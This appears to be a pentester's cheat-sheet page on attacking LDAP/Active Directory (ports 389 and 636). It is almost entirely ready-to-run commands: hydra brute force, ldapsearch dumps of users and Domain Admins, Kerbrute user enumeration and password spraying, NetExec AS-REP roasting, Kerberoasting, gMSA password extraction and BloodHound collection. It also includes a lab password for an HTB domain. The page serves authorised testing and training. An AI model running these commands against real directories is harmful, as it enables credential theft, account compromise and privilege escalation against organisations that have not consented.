> For the complete documentation index, see [llms.txt](https://docs.h4rithd.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.h4rithd.com/tcp/389-ldap.md). # LDAP | 389, 636 LDAP typically uses port 389 for unencrypted communication and port 636 for encrypted connections (LDAPS). While 389 is the default for unencrypted LDAP, 636 is the standard for LDAP over SSL/TLS. * GUI [jxplorer](http://jxplorer.org/) ```bash ## ------------------| Brute Force hydra -l UserName -P Passwordlist $IP ldap2 -V -f ``` ## 01. ldapsearch ```bash # -x Simple Authentication # -D UserName # -w Password # -b Base site ## ------------------| Simple Auth ldapsearch -x -H ldap://$IP ## ------------------| Get LDAP Naming Context (DN) ldapsearch -x -s base namingcontexts -H ldap://$IP ## ------------------| Enum ldapsearch -x -b "DC=,DC=" -H ldap://$IP ldapsearch -x -b "DC=,DC=" -H ldap://$IP -D '\' -w 'PassWord' ldapsearch -x -b "DC=,DC=" -H ldap://$IP -D '\ldap' -w 'PassWord' ## ------------------| Queries ldapsearch -x -H ldap://$IP -b "DC=htb,DC=local" '(objectClass=Person)' ldapsearch -x -H ldap://$IP -b "DC=htb,DC=local" '(objectClass=User)' sAMAccountName | grep sAMAccountName ## ------------------| Grep only domain admins ldapsearch -x -H ldap://$IP -b "DC=HTB,DC=LOCAL" -D '\' -w 'Ashare1972' "(&(ObjectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=htb,DC=local))" | grep sAMAccountName ## ------------------| Extract users ldapsearch -x -b "DC=HTB,DC=LOCAL" "*" -H ldap://$IP | grep dn | awk -F\, '{print $1}' | awk -F\= '{print $2}' -b "CN=Users,DC=,DC=" ## ------------------| Extract computers -b "CN=Computers,DC=,DC=" ## ------------------| Extract self info -b "CN=,CN=Users,DC=,DC=" ## ------------------| Extract Domain Admins -b "CN=Domain Admins,CN=Users,DC=,DC=" ## ------------------| Extract Domain Users -b "CN=Domain Users,CN=Users,DC=,DC=" ## ------------------| Extract Enterprise Admins -b "CN=Enterprise Admins,CN=Users,DC=,DC=" ## ------------------| Extract Administrators -b "CN=Administrators,CN=Builtin,DC=,DC=" ## ------------------| Extract Remote Desktop Group -b "CN=Remote Desktop Users,CN=Builtin,DC=,DC=" ``` ## 02. [WindapSearch](https://github.com/ropnop/windapsearch) ```bash ## This tool is used to enumerating the domain via LDAP anonymous bind /opt/windapsearch/windapsearch-linux-amd64 -d $IP -m users --proxy 127.0.0.1:1080 ``` ## 03. [Kerbrute](https://github.com/ropnop/kerbrute) ```bash ## ------------------| User Enumarations kerbrute userenum /usr/share/seclists/Usernames/Names/names.txt -d --dc $IP kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -d --dc $IP ## ------------------| Password Spray kerbrute passwordspray usernames.txt -d --dc $IP 'password' ## ------------------| AS-REP Roasting kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --downgrade -d --dc $IP > hashes.out ``` ## 04. NetExec ```bash ## ------------------| If an account exists without kerberos protocol nxc ldap $IP -u users.txt -p '' -k ## ------------------| Perform ASREPRoasting Attack sudo timedatectl set-timezone UTC sudo systemctl stop systemd-timesyncd sudo ntpdate 'domain' nxc ldap $IP -u 'username' -p '' --asreproast asreproast.txt ## ------------------| Perform sudo timedatectl set-timezone UTC sudo systemctl stop systemd-timesyncd sudo ntpdate 'domain' nxc ldap $IP -u 'username' -p 'password' --kerberoasting kerberoasting.txt ## ------------------| List available modules nxc ldap $IP -u 'username' -p 'password' -L nxc ldap $IP -u 'username' -p 'password' -M --options ## ------------------| Enumerate password policy. nxc smb 10.10.10.161 --pass-pol nxc smb 10.10.10.161 --pass-pol -u '' -p '' ## ------------------| Extract Self Information nxc ldap $IP -u 'username' -p 'password' -M whoami ## ------------------| Extract Group Managed Service Account (gMSA) Passwords nxc ldap $IP -u 'username' -p 'password' --gmsa ## ------------------| Enumerate Users Trusted for Delegation nxc ldap $IP -u 'username' -p 'password' --trusted-for-delegation ## ------------------| Enumerate Users Without Passwords nxc ldap $IP -u 'username' -p 'password' --password-not-required ## ------------------| Enumerate Accounts with Admin Count nxc ldap $IP -u 'username' -p 'password' --admin-count ## ------------------| Enumerate Subnets nxc ldap $IP -u 'username' -p 'password' -M subnets ## ------------------| Enumerate Domain Trusts nxc ldap $IP -u 'username' -p 'password' -M enum_trusts ## ------------------| Check LDAP Signing Requirements nxc ldap $IP -u 'username' -p 'password' -M ldap-checker ## ------------------| Run BloodHound nxc ldap $IP -u 'username' -p 'password' --bloodhound --collection All --dns-server '' ## ------------------| Enumerate All Users nxc ldap $IP -u 'username' -p 'password' --users ## ------------------| Enumerate Active Users nxc ldap $IP -u 'username' -p 'password' --active-users ## ------------------| Enumerate Computers nxc ldap $IP -u 'username' -p 'password' -M find-computer -o TEXT="SQL" ## ------------------| Enumerate Domain nxc ldap $IP -u 'username' -p 'password' -M group-mem -o GROUP='Domain Admins' nxc ldap $IP -u 'username' -p 'password' -M group-mem -o GROUP='Domain Users' ## Enumerate Domain Users nxc ldap $IP -u 'username' -p 'password' -M group-mem -o GROUP='Administrators' ## Enumerate Administrators nxc ldap $IP -u 'username' -p 'password' -M group-mem -o GROUP='Enterprise Admins' ## Enumerate Enterprise Admins nxc ldap $IP -u 'username' -p 'password' -M group-mem -o GROUP='Remote Desktop Users' ## Enumerate Remote Desktop Users ## ------------------| Enumerate Group Memberships nxc ldap $IP -u 'username' -p 'password' -M groupmembership -o USER='' ``` ## 05. LDAPDomainDump ```bash ## ------------------| Only Json output ldapdomaindump --no-grep --no-html -o ldapinfo $IP -u \\ -p ## ------------------| Only HTML output ldapdomaindump --no-json --no-grep -o ldapinfo $IP -u \\ -p ```